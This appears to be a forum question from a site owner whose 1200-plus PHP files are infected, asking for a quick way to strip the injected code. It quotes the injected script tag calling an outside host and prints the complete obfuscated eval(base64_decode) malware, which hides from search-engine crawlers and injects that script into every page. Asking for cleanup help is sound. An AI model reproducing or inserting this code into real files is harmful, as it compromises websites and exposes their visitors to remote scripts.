I have a problem about removing a virus code from my php files. There is more then 1200 php file in my server and every single php file has been infected by an virus. Virus code adding this line to html output

<script src="http://holasionweb.com/oo.php"></script>

This is the code of virus

<?php /**/ eval(base64_decode("aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJEdMT0JBTFNbJ21yX25vJ10pKXsgICAkR0xPQkFMU1snbXJfbm8nXT0xOyAgIGlmKCFmdW5jdGlvbl9leGlzdHMoJ21yb2JoJykpeyAgICAgIGlmKCFmdW5jdGlvbl9leGlzdHMoJ2dtbCcpKXsgICAgIGZ1bmN0aW9uIGdtbCgpeyAgICAgIGlmICghc3RyaXN0cigkX1NFUlZFUlsiSFRUUF9VU0VSX0FHRU5UIl0sImdvb2dsZWJvdCIpJiYgKCFzdHJpc3RyKCRfU0VSVkVSWyJIVFRQX1VTRVJfQUdFTlQiXSwieWFob28iKSkpeyAgICAgICByZXR1cm4gYmFzZTY0X2RlY29kZSgiUEhOamNtbHdkQ0J6Y21NOUltaDBkSEE2THk5b2IyeGhjMmx2Ym5kbFlpNWpiMjB2YjI4dWNHaHdJajQ4TDNOamNtbHdkRDQ9Iik7ICAgICAgfSAgICAgIHJldHVybiAiIjsgICAgIH0gICAgfSAgICAgICAgaWYoIWZ1bmN0aW9uX2V4aXN0cygnZ3pkZWNvZGUnKSl7ICAgICBmdW5jdGlvbiBnemRlY29kZSgkUjVBOUNGMUI0OTc1MDJBQ0EyM0M4RjYxMUE1NjQ2ODRDKXsgICAgICAkUjMwQjJBQjhEQzE0OTZEMDZCMjMwQTcxRDg5NjJBRjVEPUBvcmQoQHN1YnN0cigkUjVBOUNGMUI0OTc1MDJBQ0EyM0M4RjYxMUE1NjQ2ODRDLDMsMSkpOyAgICAgICRSQkU0QzREMDM3RTkzOTIyNkY2NTgxMjg4NUE1M0RBRDk9MTA7ICAgICAgJFJBM0Q1MkU1MkE0ODkzNkNERTBGNTM1NkJCMDg2NTJGMj0wOyAgICAgIGlmKCRSMzBCMkFCOERDMTQ5NkQwNkIyMzBBNzFEODk2MkFGNUQmNCl7ICAgICAgICRSNjNCRURFNkIxOTI2NkQ0RUZFQUQwN0E0RDkxRTI5RUI9QHVucGFjaygndicsc3Vic3RyKCRSNUE5Q0YxQjQ5NzUwMkFDQTIzQzhGNjExQTU2NDY4NEMsMTAsMikpOyAgICAgICAkUjYzQkVERTZCMTkyNjZENEVGRUFEMDdBNEQ5MUUyOUVCPSRSNjNCRURFNkIxOTI2NkQ0RUZFQUQwN0E0RDkxRTI5RUJbMV07ICAgICAgICRSQkU0QzREMDM3RTkzOTIyNkY2NTgxMjg4NUE1M0RBRDkrPTIrJFI2M0JFREU2QjE5MjY2RDRFRkVBRDA3QTREOTFFMjlFQjsgICAgICB9ICAgICAgaWYoJFIzMEIyQUI4REMxNDk2RDA2QjIzMEE3MUQ4OTYyQUY1RCY4KXsgICAgICAgJFJCRTRDNEQwMzdFOTM5MjI2RjY1ODEyODg1QTUzREFEOT1Ac3RycG9zKCRSNUE5Q0YxQjQ5NzUwMkFDQTIzQzhGNjExQTU2NDY4NEMsY2hyKDApLCRSQkU0QzREMDM3RTkzOTIyNkY2NTgxMjg4NUE1M0RBRDkpKzE7ICAgICAgfSAgICAgIGlmKCRSMzBCMkFCOERDMTQ5NkQwNkIyMzBBNzFEODk2MkFGNUQmMTYpeyAgICAgICAkUkJFNEM0RDAzN0U5MzkyMjZGNjU4MTI4ODVBNTNEQUQ5PUBzdHJwb3MoJFI1QTlDRjFCNDk3NTAyQUNBMjNDOEY2MTFBNTY0Njg0QyxjaHIoMCksJFJCRTRDNEQwMzdFOTM5MjI2RjY1ODEyODg1QTUzREFEOSkrMTsgICAgICB9ICAgICAgaWYoJFIzMEIyQUI4REMxNDk2RDA2QjIzMEE3MUQ4OTYyQUY1RCYyKXsgICAgICAgJFJCRTRDNEQwMzdFOTM5MjI2RjY1ODEyODg1QTUzREFEOSs9MjsgICAgICB9ICAgICAgJFIwMzRBRTJBQjk0Rjk5Q0M4MUIzODlBMTgyMkRBMzM1Mz1AZ3ppbmZsYXRlKEBzdWJzdHIoJFI1QTlDRjFCNDk3NTAyQUNBMjNDOEY2MTFBNTY0Njg0QywkUkJFNEM0RDAzN0U5MzkyMjZGNjU4MTI4ODVBNTNEQUQ5KSk7ICAgICAgaWYoJFIwMzRBRTJBQjk0Rjk5Q0M4MUIzODlBMTgyMkRBMzM1Mz09PUZBTFNFKXsgICAgICAgJFIwMzRBRTJBQjk0Rjk5Q0M4MUIzODlBMTgyMkRBMzM1Mz0kUjVBOUNGMUI0OTc1MDJBQ0EyM0M4RjYxMUE1NjQ2ODRDOyAgICAgIH0gICAgICByZXR1cm4gJFIwMzRBRTJBQjk0Rjk5Q0M4MUIzODlBMTgyMkRBMzM1MzsgICAgIH0gICAgfSAgICBmdW5jdGlvbiBtcm9iaCgkUkU4MkVFOUIxMjFGNzA5ODk1RUY1NEVCQTdGQTZCNzhCKXsgICAgIEhlYWRlcignQ29udGVudC1FbmNvZGluZzogbm9uZScpOyAgICAgJFJBMTc5QUJEM0E3QjlFMjhDMzY5RjdCNTlDNTFCODFERT1nemRlY29kZSgkUkU4MkVFOUIxMjFGNzA5ODk1RUY1NEVCQTdGQTZCNzhCKTsgICAgICAgaWYocHJlZ19tYXRjaCgnL1w8XC9ib2R5L3NpJywkUkExNzlBQkQzQTdCOUUyOEMzNjlGN0I1OUM1MUI4MURFKSl7ICAgICAgcmV0dXJuIHByZWdfcmVwbGFjZSgnLyhcPFwvYm9keVteXD5dKlw+KS9zaScsZ21sKCkuIlxuIi4nJDEnLCRSQTE3OUFCRDNBN0I5RTI4QzM2OUY3QjU5QzUxQjgxREUpOyAgICAgfWVsc2V7ICAgICAgcmV0dXJuICRSQTE3OUFCRDNBN0I5RTI4QzM2OUY3QjU5QzUxQjgxREUuZ21sKCk7ICAgICB9ICAgIH0gICAgb2Jfc3RhcnQoJ21yb2JoJyk7ICAgfSAgfQ=="));?>

Above code in every single php file. How can i remove this virus code from every php file ? Is there a quick way for doing it?